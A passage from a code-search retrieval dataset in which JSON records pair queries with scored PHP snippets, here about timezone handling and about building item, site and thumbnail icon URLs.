return $userTimeZone;\n }", "title": "" }, { "docid": "eaa25826f97331d5b1be59d115d4c86c", "score": "0.53918284", "text": "protected function setUp()\n {\n date_default_timezone_set('GMT');\n $this->object = new Timezone('Asia/Manila');\n }", "title": "" }, { "docid": "4681974d6a909ee95b77f14d75ad10a6", "score": "0.53864366", "text": "function date_timezone_handling_options() {\r\n return array(\r\n 'site' => t(\"Site's time zone\"),\r\n 'date' => t(\"Date's time zone\"),\r\n 'user' => t(\"User's time zone\"),\r\n 'utc' => 'UTC',\r\n 'none' => t('No time zone conversion'),\r\n );\r\n}", "title": "" }, { "docid": "b5c370f8a8f23b1b21d2227be002ce1b", "score": "0.53822666", "text": "function timezone($timezone=false){\n\t\tif($timezone === false){\n\t\t\treturn (double)$this->_timezone;\n\t\t}else{\n\t\t\t$this->setUserVar(\"timezone\", $timezone);\n\t\t\t$this->_timezone = (integer)$this->getUserVar(\"timezone\");\n\t\t\treturn true;\n\t\t}\n\t}", "title": "" }, { "docid": "33001c058ec5378e671c22538cf9a725", "score": "0.53691167", "text": "public function __construct()\n {\n parent::__construct();\n date_default_timezone_set(SYSTEM_TIMEZONE);\n }", "title": "" }, { "docid": "471746ca8d6c59220d727b8469e0f618", "score": "0.5359759", "text": "function datetime_timezone_mutator($value): \\Carbon\\Carbon\n{\n return (new \\Carbon\\Carbon($value, 'UTC'))->setTimezone(config('app.user_timezone'));\n}", "title": "" }, { "docid": "0da42bfd9930b5fe738736d1843febac", "score": "0.5353073", "text": "function __construct() {\n date_default_timezone_set('Europe/Warsaw');\n }", "title": "" }, { "docid": "0da42bfd9930b5fe738736d1843febac", "score": "0.5353073", "text": "function __construct() {\n date_default_timezone_set('Europe/Warsaw');\n }", "title": "" }, { "docid": "07d2df7addec60c6bfa25cff2be7be9b", "score": "0.5342621", "text": "public function timestampWithTZ(): void\n {\n $date = new Date(328336200, new TimeZone('Australia/Sydney'));\n assertThat($date->timeZone()->name(), equals('Australia/Sydney'));\n }", "title": "" }, { "docid": "9fe45bc415110112bbdfeb5d89ad96d7", "score": "0.53416044", "text": "public function getTimezone();", "title": "" }, { "docid": "fab4ef04a9786541a543c39ccb67b08d", "score": "0.5327035", "text": "public function testTimezoneStaticPropertyFromBaseModel()\n {\n $zone = 'America/New_York';\n\n Customer::$timezone = $zone;\n\n $timezone = (new User)->getTimezone();\n\n $this->assertEquals($zone, $timezone);\n\n Customer::setTimezone();\n }", "title": "" }, { "docid": "7c082032695dca8008b5cd284f849bac", "score": "0.53223777", "text": "protected function timezone()\n {\n return config('app.timezone');\n }", "title": "" }, { "docid": "2200e7ad18009acdf35597fcbb864b7c", "score": "0.52810645", "text": "function date_get_timezones() {\n\treturn array('Africa/Abidjan', 'Africa/Accra', 'Africa/Algiers', 'Africa/Asmera', 'Africa/Bamako', 'Africa/Bangui', 'Africa/Banjul', 'Africa/Bissau', 'Africa/Blantyre', 'Africa/Brazzaville', 'Africa/Bujumbura', 'Africa/Cairo', 'Africa/Casablanca', 'Africa/Ceuta', 'Africa/Conakry', 'Africa/Dakar', 'Africa/Djibouti', 'Africa/Douala', 'Africa/Freetown', 'Africa/Gaborone', 'Africa/Harare', 'Africa/Johannesburg', 'Africa/Kampala', 'Africa/Khartoum', 'Africa/Kigali', 'Africa/Kinshasa', 'Africa/Lagos', 'Africa/Libreville', 'Africa/Lome', 'Africa/Luanda', 'Africa/Lubumbashi', 'Africa/Lusaka', 'Africa/Malabo', 'Africa/Maputo', 'Africa/Maseru', 'Africa/Mbabane', 'Africa/Mogadishu', 'Africa/Monrovia', 'Africa/Nairobi', 'Africa/Ndjamena', 'Africa/Niamey', 'Africa/Nouakchott', 'Africa/Ouagadougou', 'Africa/Porto-Novo', 'Africa/Tripoli', 'Africa/Tunis', 'Africa/Windhoek', 'America/Adak', 'America/Anchorage', 'America/Anguilla', 'America/Antigua', 'America/Araguaina', 'America/Aruba', 'America/Asuncion', 'America/Barbados', 'America/Belem', 'America/Belize', 'America/Bogota', 'America/Boise', 'America/Cancun', 'America/Caracas', 'America/Cayenne', 'America/Cayman', 'America/Chicago', 'America/Chihuahua', 'America/Cuiaba', 'America/Curacao', 'America/Danmarkshavn', 'America/Dawson', 'America/Denver', 'America/Detroit', 'America/Dominica', 'America/Edmonton', 'America/Eirunepe', 'America/Fortaleza', 'America/Godthab', 'America/Grenada', 'America/Guadeloupe', 'America/Guatemala', 'America/Guayaquil', 'America/Guyana', 'America/Halifax', 'America/Havana', 'America/Hermosillo', 'America/Indiana/Indianapolis', 'America/Indiana/Knox', 'America/Indiana/Marengo', 'America/Indiana/Vevay', 'America/Inuvik', 'America/Iqaluit', 'America/Jamaica', 'America/Juneau', 'America/Kentucky/Louisville', 'America/Kentucky/Monticello', 'America/Lima', 'America/Maceio', 'America/Managua', 'America/Manaus', 'America/Martinique', 'America/Mazatlan', 'America/Menominee', 'America/Merida', 'America/Miquelon', 'America/Monterrey', 'America/Montevideo', 'America/Montreal', 'America/Montserrat', 'America/Nassau', 'America/Nipigon', 'America/Nome', 'America/Noronha', 'America/Panama', 'America/Pangnirtung', 'America/Paramaribo', 'America/Phoenix', 'America/Port-au-Prince', 'America/Recife', 'America/Regina', 'America/Santiago', 'America/Scoresbysund', 'America/Tegucigalpa', 'America/Thule', 'America/Tijuana', 'America/Tortola', 'America/Vancouver', 'America/Whitehorse', 'America/Winnipeg', 'America/Yakutat', 'America/Yellowknife', 'Antarctica/Casey', 'Antarctica/Davis', 'Antarctica/DumontDUrville', 'Antarctica/Mawson', 'Antarctica/McMurdo', 'Antarctica/Palmer', 'Antarctica/Syowa', 'Antarctica/Vostok', 'Asia/Aden', 'Asia/Almaty', 'Asia/Amman', 'Asia/Anadyr', 'Asia/Aqtau', 'Asia/Aqtobe', 'Asia/Ashgabat', 'Asia/Baghdad', 'Asia/Bahrain', 'Asia/Baku', 'Asia/Bangkok', 'Asia/Beirut', 'Asia/Bishkek', 'Asia/Brunei', 'Asia/Calcutta', 'Asia/Choibalsan', 'Asia/Chongqing', 'Asia/Colombo', 'Asia/Damascus', 'Asia/Dhaka', 'Asia/Dili', 'Asia/Dubai', 'Asia/Dushanbe', 'Asia/Gaza', 'Asia/Harbin', 'Asia/Hovd', 'Asia/Irkutsk', 'Asia/Jakarta', 'Asia/Jayapura', 'Asia/Jerusalem', 'Asia/Kabul', 'Asia/Kamchatka', 'Asia/Karachi', 'Asia/Kashgar', 'Asia/Katmandu', 'Asia/Krasnoyarsk', 'Asia/Kuching', 'Asia/Kuwait', 'Asia/Magadan', 'Asia/Manila', 'Asia/Muscat', 'Asia/Nicosia', 'Asia/Novosibirsk', 'Asia/Omsk', 'Asia/Pontianak', 'Asia/Pyongyang', 'Asia/Qatar', 'Asia/Rangoon', 'Asia/Riyadh', 'Asia/Saigon', 'Asia/Sakhalin', 'Asia/Samarkand', 'Asia/Seoul', 'Asia/Shanghai', 'Asia/Singapore', 'Asia/Taipei', 'Asia/Tashkent', 'Asia/Tbilisi', 'Asia/Tehran', 'Asia/Thimphu', 'Asia/Tokyo', 'Asia/Ulaanbaatar', 'Asia/Urumqi', 'Asia/Vientiane', 'Asia/Vladivostok', 'Asia/Yakutsk', 'Asia/Yekaterinburg', 'Asia/Yerevan', 'Atlantic/Azores', 'Atlantic/Bermuda', 'Atlantic/Canary', 'Atlantic/Faeroe', 'Atlantic/Madeira', 'Atlantic/Reykjavik', 'Atlantic/Stanley', 'Australia/Adelaide', 'Australia/Brisbane', 'Australia/Darwin', 'Australia/Hobart', 'Australia/Lindeman', 'Australia/Melbourne', 'Australia/Perth', 'Australia/Sydney', 'CST6CDT', 'EST', 'EST5EDT', 'Europe/Amsterdam', 'Europe/Andorra', 'Europe/Athens', 'Europe/Belgrade', 'Europe/Berlin', 'Europe/Brussels', 'Europe/Bucharest', 'Europe/Budapest', 'Europe/Chisinau', 'Europe/Copenhagen', 'Europe/Dublin', 'Europe/Gibraltar', 'Europe/Helsinki', 'Europe/Istanbul', 'Europe/Kaliningrad', 'Europe/Kiev', 'Europe/Lisbon', 'Europe/London', 'Europe/Luxembourg', 'Europe/Madrid', 'Europe/Malta', 'Europe/Minsk', 'Europe/Monaco', 'Europe/Moscow', 'Europe/Oslo', 'Europe/Paris', 'Europe/Prague', 'Europe/Riga', 'Europe/Rome', 'Europe/Samara', 'Europe/Simferopol', 'Europe/Sofia', 'Europe/Stockholm', 'Europe/Tallinn', 'Europe/Tirane', 'Europe/Uzhgorod', 'Europe/Vaduz', 'Europe/Vienna', 'Europe/Vilnius', 'Europe/Warsaw', 'Europe/Zaporozhye', 'Europe/Zurich', 'HST', 'Indian/Antananarivo', 'Indian/Chagos', 'Indian/Christmas', 'Indian/Cocos', 'Indian/Comoro', 'Indian/Kerguelen', 'Indian/Mahe', 'Indian/Maldives', 'Indian/Mauritius', 'Indian/Mayotte', 'Indian/Reunion', 'MST', 'MST7MDT', 'PST8PDT', 'Pacific/Apia', 'Pacific/Auckland', 'Pacific/Chatham', 'Pacific/Easter', 'Pacific/Efate', 'Pacific/Enderbury', 'Pacific/Fakaofo', 'Pacific/Fiji', 'Pacific/Funafuti', 'Pacific/Galapagos', 'Pacific/Gambier', 'Pacific/Guadalcanal', 'Pacific/Guam', 'Pacific/Honolulu', 'Pacific/Johnston', 'Pacific/Kiritimati', 'Pacific/Kosrae', 'Pacific/Kwajalein', 'Pacific/Majuro', 'Pacific/Marquesas', 'Pacific/Midway', 'Pacific/Nauru', 'Pacific/Niue', 'Pacific/Norfolk', 'Pacific/Noumea', 'Pacific/Palau', 'Pacific/Pitcairn', 'Pacific/Ponape', 'Pacific/Rarotonga', 'Pacific/Saipan', 'Pacific/Tahiti', 'Pacific/Tarawa', 'Pacific/Tongatapu', 'Pacific/Truk', 'Pacific/Wake', 'Pacific/Wallis');\n}", "title": "" }, { "docid": "94d03a078e31a45099110f28cefe4328", "score": "0.52786255", "text": "public function setTimeZone($offsetValue)\r\n\t\t{\r\n\t\t\t\t$serverTimeZoneOffset = (date('O') / 100 * 60 * 60);\r\n\t\t\t\t$clientTimeZoneOffset = $offsetValue;\r\n\t\t\t\t$serverTime = time();\r\n\t\t\t\t$serverClientTimeDifference = $clientTimeZoneOffset - $serverTimeZoneOffset;\r\n\t\t\t\t$finalHourDifference = $serverClientTimeDifference / (60 * 60);\r\n\t\t\t\t$this->set('timeZone', $finalHourDifference);\r\n\t\t}", "title": "" }, { "docid": "223341b2d01720317f35f166be2df830", "score": "0.5265796", "text": "public function setFromJsonInUsersTimezone(&$_data);", "title": "" }, { "docid": "33f38d430dee5d3b8eea8a22cf5fa07d", "score": "0.5255965", "text": "protected function setDefaultTimezone($defaultTimezone): void\n {\n // also restoreDefaultTimezone()\n if (null === $this->defaultTimezone) {\n $this->defaultTimezone = date_default_timezone_get();\n date_default_timezone_set($defaultTimezone);\n }\n }", "title": "" }, { "docid": "a580e64bde8111920d5790a78513f7ad", "score": "0.52204144", "text": "public function setTimeZone($var)\n {\n GPBUtil::checkString($var, True);\n $this->time_zone = $var;\n\n return $this;\n }", "title": "" }, { "docid": "a580e64bde8111920d5790a78513f7ad", "score": "0.52204144", "text": "public function setTimeZone($var)\n {\n GPBUtil::checkString($var, True);\n $this->time_zone = $var;\n\n return $this;\n }", "title": "" }, { "docid": "a580e64bde8111920d5790a78513f7ad", "score": "0.52204144", "text": "public function setTimeZone($var)\n {\n GPBUtil::checkString($var, True);\n $this->time_zone = $var;\n\n return $this;\n }", "title": "" } ]
fc998a22c3a0c77888358af8203dacc7
This function returns the url of a small (43x43) item icon. ex.:
[ { "docid": "0b8bb982a02782696e49148808f9e7c2", "score": "0.6700396", "text": "protected function buildItemSmallIconURL($armoryUrl, $iconName) {\r\n\t $result = '';\r\n\t if(!empty($iconName)){\r\n\t\t\t$result = $armoryUrl . \"/wow-icons/_images/43x43/$iconName.png\";\r\n\t\t}\r\n \treturn $result;\r\n }", "title": "" } ]
[ { "docid": "9d5d60d626fd7478df8fad0ff2d4bb9e", "score": "0.7535894", "text": "function site_icon_url($size = 512, $url = '', $blog_id = 0)\n {\n }", "title": "" }, { "docid": "d576d423c236cc18b7c957cd7a9c25d5", "score": "0.7421694", "text": "function get_site_icon_url($size = 512, $url = '', $blog_id = 0)\n {\n }", "title": "" }, { "docid": "fc3f37a574be49a9780fc15371de5efa", "score": "0.718979", "text": "function getIconurl($icon_key, $type='small') {\r\n\t\r\n \t\tglobal $CONN, $CONFIG;\r\n\t\t\r\n\t\tif ($type=='small') {\r\n\t\t\r\n\t\t\t$field = 'small_icon';\r\n\t\t\r\n\t\t} else {\r\n\t\t\r\n\t\t\t$field = 'large_icon';\r\n\t\t\r\n\t\t}\r\n\t\t$rs = $CONN->Execute(\"SELECT $field FROM {$CONFIG['DB_PREFIX']}icons WHERE icon_key='$icon_key'\");\r\n \r\n\t\t$icon = $rs->fields[0];\t\t\r\n\t\t\r\n\t\t$rs->Close();\r\n\t\t\r\n\t\tif (is_file($CONFIG['MODULE_FILE_SAVE_PATH'].'/icons/'.$icon)) {\r\n\t\t\r\n\r\n\t\t\t$icon_url = $CONFIG['MODULE_FILE_VIEW_PATH'].'icons/'.$icon;\r\n\t\t\treturn $icon_url;\r\n\t\t\t\t\r\n\t\t\r\n\t\t} else {\r\n\t\t\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t}\r\n\t\t\t\r\n\t}", "title": "" }, { "docid": "94decb06bbd5ace0c8e4f7fe62f93311", "score": "0.6991631", "text": "public function getIconUrl(): string\n {\n return $this->iconUrl;\n }", "title": "" }, { "docid": "b9ddbdc38634eb1754f5ccbefdf06905", "score": "0.6965793", "text": "public function iconUrl(): string\n {\n return $this->pluck('trophyTitleIconUrl');\n }", "title": "" }, { "docid": "543ee39de43f163ca40386244ac356f9", "score": "0.6883275", "text": "public function kind_icon_url ()\n {\n switch ($this->kind)\n {\n case History_item_deleted:\n return '{icons}indicators/deleted';\n case History_item_restored:\n return '{icons}indicators/restored';\n case History_item_hidden:\n return '{icons}indicators/hidden';\n case History_item_hidden_update:\n return '{icons}indicators/hidden_update';\n case History_item_locked:\n return '{icons}indicators/locked';\n default:\n return parent::kind_icon_url ();\n }\n }", "title": "" }, { "docid": "21f4dab4eb7fc606179939a37d6c6b95", "score": "0.6802568", "text": "public function kind_icon_url ()\n {\n switch ($this->kind)\n {\n case History_item_published:\n return '{icons}indicators/released';\n case History_item_abandoned:\n return '{icons}buttons/abandon';\n case History_item_queued:\n return '{icons}buttons/queue';\n case History_item_unpublished:\n return '{icons}buttons/unpublish';\n default:\n return parent::kind_icon_url ();\n }\n }", "title": "" }, { "docid": "2702c14fb3d7ca44b7bf28374810065b", "score": "0.6750123", "text": "public function getGearSmallIconURL($wowGearSummary)\t{ return $this->buildItemSmallIconURL($this->armoryAdapter->getWowArmoryUrl(), $wowGearSummary->getIcon()); }", "title": "" }, { "docid": "e658479c61b6ee5bfa02897f7e02aada", "score": "0.67018294", "text": "public function getIcon()\n {\n return ModuleResourceLoader::resourceURL(\n 'silverstripe/framework:client/images/app_icons/folder_icon_large.png'\n );\n }", "title": "" }, { "docid": "849a5a8cfc18188be386268ca3299e41", "score": "0.6664394", "text": "function icon() {\n global $CFG;\n\n return \"<img src='$CFG->wwwroot/blocks/ilp/pix/graphicon.jpg' height='24' width='24' />\";\n }", "title": "" }, { "docid": "3c499f63547bfbeac094c6eccaa82f95", "score": "0.6657009", "text": "private function thumb()\n {\n $preview = array('png', 'jpg', 'gif', 'bmp');\n\n $publicBaseUrl = 'packages/spescina/mediabrowser/src/img/icons/';\n\n if ($this->folder)\n {\n if ($this->back)\n {\n $icon = 'back';\n }\n else\n {\n $icon = 'folder';\n }\n\n $url = $publicBaseUrl . $icon . '.png';\n }\n else\n {\n if (in_array($this->extension, $preview))\n {\n $url = $this->path;\n }\n else\n {\n $url = $publicBaseUrl . $this->extension . '.png';\n }\n }\n\n return $url;\n }", "title": "" }, { "docid": "1d3594f2b1f0fe6d2825fc8faab9dd29", "score": "0.6642392", "text": "public function icon(): string;", "title": "" }, { "docid": "30d836a43adfcede3651fac7b611e9da", "score": "0.6570128", "text": "public static function get_icon_url($size) {\n $default = \"http://www.oexchange.org/images/logo_\".$size.\"x\".$size.\".png\";\n\n $grav_url = \"http://www.gravatar.com/avatar/\" .\n md5(strtolower(get_bloginfo(\"admin_email\"))) . \"?d=\" . urlencode($default) . \"&amp;s=\" . $size;\n\n return $grav_url;\n }", "title": "" }, { "docid": "07f673ea8b9c91f63ad80aa1d61a2350", "score": "0.6536628", "text": "function rss2_site_icon()\n {\n }", "title": "" }, { "docid": "e39a085c5103dbae18c0073eeb1966e6", "score": "0.6513701", "text": "public function get_icon() {\n\t\treturn 'eicon-image';\n\t}", "title": "" }, { "docid": "b41b4e17171be17c9bc5ceaf3525a36f", "score": "0.6449045", "text": "public function iconUrl(): string\n {\n return $this->groupIconUrl;\n }", "title": "" }, { "docid": "4c36606202bdfb10f2ec5985980c7299", "score": "0.6430817", "text": "function get_attachment_icon_src($id = 0, $fullsize = \\false)\n {\n }", "title": "" }, { "docid": "ccbc956611bfeb2b423d7e3bc5e5526b", "score": "0.6429753", "text": "public function getItemIcon()\n {\n return $this->stripTags($this->getEntity()->getData('list_item_icon'));\n }", "title": "" }, { "docid": "c920e606c718eaf4a842fa81514f81ec", "score": "0.6411243", "text": "public function get_icon() {\n\t\treturn 'eicon-product-images';\n\t}", "title": "" }, { "docid": "a3c031266686ac58d1f3a3741a75a4be", "score": "0.6395921", "text": "public function getThumbnail() {\n return Mage::helper('landingpage/image')->getImageUrl($this->getData('thumbnail'));\n }", "title": "" }, { "docid": "42bd3be5e4230edd35c7b2685acd0fb7", "score": "0.6383194", "text": "protected function buildItemBigIconURL($armoryUrl, $iconName) {\r\n\t $result = '';\r\n\t if(!empty($iconName)){\r\n\t\t\t$result = $armoryUrl . \"/wow-icons/_images/64x64/$iconName.jpg\";\r\n\t\t}\r\n \treturn $result;\r\n }", "title": "" }, { "docid": "67bc03cfea0c1cad73e73003b097d7dc", "score": "0.6362317", "text": "public function get_icon() {\n\t\t\treturn WC_SUMO_Sagepay_Common_Functions::get_icon( $this->cardtypes, $this->sagelink, $this->sagelogo, $this->id );\n\t\t}", "title": "" }, { "docid": "8db06d624f74198fbf966c66104defb7", "score": "0.63569355", "text": "public static function iconPath()\n {\n return Craft::getAlias(\"@julianmjones/schedapiintegration/assetbundles/schedapiintegrationutilityutility/dist/img/SchedApiIntegrationUtility-icon.svg\");\n }", "title": "" }, { "docid": "23cebdd155293dfd34745803f2acbf59", "score": "0.6340348", "text": "public function getIcon() {\n if($this->items!==false)\n return @current($this->items)->user->profile_image_url;\n return false;\n }", "title": "" }, { "docid": "415ba05681cd62641e738a69b971a8c5", "score": "0.6332439", "text": "function get_screen_icon()\n {\n }", "title": "" }, { "docid": "562df4fa1900e2b675c42033efea0c08", "score": "0.63284105", "text": "function wp_get_attachment_image_url($attachment_id, $size = 'thumbnail', $icon = \\false)\n {\n }", "title": "" }, { "docid": "93adb45c02f8568be43ab9b01c8c7afd", "score": "0.6328401", "text": "public function getIcon() {}", "title": "" }, { "docid": "31be49152dd45b2ca80bc2f86435b737", "score": "0.631887", "text": "function atom_site_icon()\n {\n }", "title": "" }, { "docid": "62ca50b368d0ce8faf5124baf6f1ef40", "score": "0.6318505", "text": "function plugin_geticon_nexmenu()\n{\n global $_CONF;\n\n return $_CONF['layout_url'] .'/nexmenu/images/admin/nexmenu.gif';\n}", "title": "" }, { "docid": "18e1f61009f3245ca530aca00d5e141d", "score": "0.6316725", "text": "function get_icon() {\n\t\treturn $this->settings['icon'];\n\t}", "title": "" }, { "docid": "72c542a1b80276dfd393ef2369b3c470", "score": "0.629307", "text": "function column_icon( $item ) {\r\n\t\t$thumb = self::_build_item_thumbnail( $item );\r\n\r\n\t\tif ( $this->is_trash || ! current_user_can( 'edit_post', $item->ID ) ) {\r\n\t\t\treturn $thumb;\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t * Use the WordPress Edit Media screen\r\n\t\t */\r\n\t\t$view_args = self::mla_submenu_arguments();\r\n\t\tif ( isset( $view_args['lang'] ) ) {\r\n\t\t\t$edit_url = 'post.php?post=' . $item->ID . '&action=edit&mla_source=edit&lang=' . $view_args['lang'];\r\n\t\t} else {\r\n\t\t\t$edit_url = 'post.php?post=' . $item->ID . '&action=edit&mla_source=edit';\r\n\t\t}\r\n\r\n\t\treturn sprintf( '<a href=\"%1$s\" title=\"' . __( 'Edit', 'media-library-assistant' ) . ' &#8220;%2$s&#8221;\">%3$s</a>', admin_url( $edit_url ), _draft_or_post_title( $item ), $thumb ); \r\n\t}", "title": "" }, { "docid": "b889d05c3f036ab725d0d95e78604707", "score": "0.62902343", "text": "protected function buildItemMediumIconURL($armoryUrl, $iconName) {\r\n\t $result = '';\r\n\t if(!empty($iconName)){\r\n\t\t\t$result = $armoryUrl . \"/wow-icons/_images/51x51/$iconName.jpg\";\r\n\t\t}\r\n \treturn $result;\r\n }", "title": "" }, { "docid": "47fb791d6f89cd7fe94b6705696ce62d", "score": "0.6284834", "text": "public function mainImageURL()\n {\n if ($this->image) {\n $imageLocation = $this->image->location;\n } else {\n // If the image cannot be displayed, show a generic image.\n $imageLocation = 'generic/generic1.jpg';\n }\n\n return Storage::url($imageLocation);\n }", "title": "" }, { "docid": "e1af4f11d9d02b911c5b4b5cc267a7de", "score": "0.627191", "text": "public static function iconPath()\n {\n return Craft::getAlias('@seibertio/elasticsearch/icon.svg');\n }", "title": "" }, { "docid": "0e5191ff4ea060d17b8f95ee888145a9", "score": "0.6270905", "text": "public function getIcon();", "title": "" }, { "docid": "0e5191ff4ea060d17b8f95ee888145a9", "score": "0.6270905", "text": "public function getIcon();", "title": "" }, { "docid": "cfbad199a3ef78783e2a256dec3b9d1c", "score": "0.6270303", "text": "public function renderUri() {\n\t\tif ($this->isThumbnailPossible($this->getFile()->getExtension())) {\n\t\t\t$this->processedFile = $this->getFile()->process($this->getProcessingType(), $this->getConfiguration());\n\t\t\t$result = $this->processedFile->getPublicUrl(TRUE);\n\n\t\t\t// Update time stamp of processed image at this stage. This is needed for the browser to get new version of the thumbnail.\n\t\t\tif ($this->processedFile->getProperty('originalfilesha1') != $this->getFile()->getProperty('sha1')) {\n\t\t\t\t$this->processedFile->updateProperties(array('tstamp' => $this->getFile()->getProperty('tstamp')));\n\t\t\t}\n\t\t} else {\n\t\t\t$result = $this->getIcon($this->getFile()->getExtension());\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "b34c03e71a7c0e8c97d773c334ea5a1b", "score": "0.6266496", "text": "private function get_icon()\n\t{\n\t\treturn $this->m_icon;\n\t}", "title": "" }, { "docid": "b34c03e71a7c0e8c97d773c334ea5a1b", "score": "0.6266496", "text": "private function get_icon()\n\t{\n\t\treturn $this->m_icon;\n\t}", "title": "" }, { "docid": "22a293accd59d470181a1809e1cf7f65", "score": "0.62610066", "text": "public function getArticleListIcon();", "title": "" }, { "docid": "6688405ac2dd3a728d19d1c94751c2da", "score": "0.62525845", "text": "public function get_icon()\n {\n return 'fa fa-image';\n }", "title": "" }, { "docid": "eaf01cbe50c57f17e8938e57388f98b1", "score": "0.6243714", "text": "public function Icon()\n {\n $ext = strtolower($this->getExtension());\n if (!Director::fileExists(FRAMEWORK_DIR . \"/images/app_icons/{$ext}_32.gif\")) {\n $ext = $this->appCategory();\n }\n\n if (!Director::fileExists(FRAMEWORK_DIR . \"/images/app_icons/{$ext}_32.gif\")) {\n $ext = \"generic\";\n }\n\n return FRAMEWORK_DIR . \"/images/app_icons/{$ext}_32.gif\";\n }", "title": "" }, { "docid": "72520c3196701cf01eb76dffb69333fe", "score": "0.6226875", "text": "public function icon(): string\n {\n return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACYSURBVEhLYxgFJIHU1FSjtLS0i0D8AYj7gEKMEBkqAaAFF4D4ERCvAFrwH4gDoFIMKSkpFkB+OTEYqgUTACXfA/GqjIwMQyD9H2hRHlQKJFcBEiMGQ7VgAqCBvUgK32dmZspCpagGGNPT0/1BLqeF4bQHQJePpiIwhmrBBEADR1MRfgB0+WgqAmOoFkwANHA0FY0CUgEDAwCQ0PUpNB3kqwAAAABJRU5ErkJggg==';\n }", "title": "" }, { "docid": "c2e1b76e67a0d252be38b15e38d50b30", "score": "0.62197274", "text": "public function icon(): string\n {\n return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADLSURBVEhL5ZRLCsIwGAa7UkE9gd5HUfEoekxxJx7AhXoCca/fhESkJiQxBHwMDG3S/9EmJc0n0JMruZVXK/fMdWQRY7mXt4A7OZJvwZu74hRayIEc2nv3jGtXZrOWrnifiRY0OkhiWK5sWGeS52bkZymJ2ZhRJmwmySxLCL6CmIsZZUIixkiNezCRR+kSUyWH3Cgn6SuQIk2iuOBckvN+t8FMnq1TJloUN3jefN9mhvJeCAVWb8CyUDj0vxc3iPFHDaofFdUPu2+iae7nYJMCY/1bpAAAAABJRU5ErkJggg==';\n }", "title": "" }, { "docid": "4e397fe26cbad88a5c8d6b96a3a443af", "score": "0.621886", "text": "public function getIcon()\n {\n return empty($this->model->icon) ? 'globe' : $this->model->icon;\n }", "title": "" }, { "docid": "f29bfde1df21b71ec8864a5d57369f96", "score": "0.6218723", "text": "public function getIcon() {\n\t\t//regex is used to check if there's a filename within the iconFile string\n\t\treturn preg_replace('/^.*\\/([^\\/]+\\.(gif|png))?$/i', '\\1', $this->iconFile) ? $this->iconFile : '';\n\t}", "title": "" }, { "docid": "dda16e330c211b89278ee0e9c34cd58c", "score": "0.6217606", "text": "public function getMainTalentIconURL(){\r\n\t\treturn $this->buildTalentIconURL($this->armoryAdapter->getWowArmoryUrl(),\r\n\t\t\t\t\t\t\t\t\t\t$this->characterObject->getWowClassId(),\r\n\t\t\t\t\t\t\t\t\t\t$this->characterObject->getMainTalentBranch());\r\n }", "title": "" }, { "docid": "b1b33a224c811fa9121a558c8bf5aec2", "score": "0.621118", "text": "function wp_site_icon()\n {\n }", "title": "" }, { "docid": "a58aab8bda515afb3fb1e26a1bf7d77e", "score": "0.6183281", "text": "protected function get__icon()\n\t{\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "7cae37ad6554243107aa219d20ce6ab6", "score": "0.61812705", "text": "public function get_icon() {\n\t\treturn 'eicon-slider-album';\n\t}", "title": "" }, { "docid": "7cae37ad6554243107aa219d20ce6ab6", "score": "0.61812705", "text": "public function get_icon() {\n\t\treturn 'eicon-slider-album';\n\t}", "title": "" }, { "docid": "02f5923fad329e4986f90454d272517b", "score": "0.61547464", "text": "public function getIcon(): string\n {\n return $this->icon ?: static::DEFAULT_ICON;\n }", "title": "" }, { "docid": "28049178c5a654265a92500f777d08b5", "score": "0.6151207", "text": "public function get_icon() {\n $skillIcons = get_field('listing_skill_icons', 'option');\n $randIcon = array_rand($skillIcons, 1);\n $icon = $skillIcons[$randIcon];\n return $icon;\n }", "title": "" }, { "docid": "300cbb32bfa4ae61b6eb1b970a7a16a2", "score": "0.61344796", "text": "public function renderUri() {\n\n\t\t$relativePath = sprintf('Icons/MimeType/%s.png', $this->file->getProperty('extension'));\n\t\t$fileNameAndPath = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::getFileAbsFileName('EXT:media/Resources/Public/' . $relativePath);\n\t\tif (!file_exists($fileNameAndPath)) {\n\t\t\t$relativePath = 'Icons/UnknownMimeType.png';\n\t\t}\n\n\t\treturn Path::getRelativePath($relativePath);\n\t}", "title": "" }, { "docid": "5719f47d253145b30d44b2ee72068b42", "score": "0.6132342", "text": "public function get_icon() {\n\t\treturn 'eicon-icon-box';\n\t}", "title": "" }, { "docid": "17ed4c140b1c0c1cf015ae92594c4043", "score": "0.61305374", "text": "private function get_icon( $html, $url ) {\n\t\t// Grab the icon's link element.\n\t\t$pattern = '#<link\\s[^>]*rel=(?:[\\\"\\']??)\\s*(?:icon|shortcut icon|icon shortcut)\\s*(?:[\\\"\\']??)[^>]*\\/?>#isU';\n\t\tpreg_match( $pattern, $html, $element );\n\t\tif ( empty( $element[0] ) || ! is_string( $element[0] ) ) {\n\t\t\treturn '';\n\t\t}\n\t\t$element = trim( $element[0] );\n\n\t\t// Get the icon's href value.\n\t\t$pattern = '#href=([\\\"\\']??)([^\\\" >]*?)\\\\1[^>]*#isU';\n\t\tpreg_match( $pattern, $element, $icon );\n\t\tif ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {\n\t\t\treturn '';\n\t\t}\n\t\t$icon = trim( $icon[2] );\n\n\t\t// If the icon is a data URL, return it.\n\t\t$parsed_icon = parse_url( $icon );\n\t\tif ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {\n\t\t\treturn $icon;\n\t\t}\n\n\t\t// Attempt to convert relative URLs to absolute.\n\t\tif ( ! is_string( $url ) || '' === $url ) {\n\t\t\treturn $icon;\n\t\t}\n\t\t$parsed_url = parse_url( $url );\n\t\tif ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {\n\t\t\t$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';\n\t\t\t$icon = WP_Http::make_absolute_url( $icon, $root_url );\n\t\t}\n\n\t\treturn $icon;\n\t}", "title": "" }, { "docid": "fc291ca0437be10a529b674d8f9fb11b", "score": "0.6129736", "text": "public static function getIcon(): string\n {\n }", "title": "" }, { "docid": 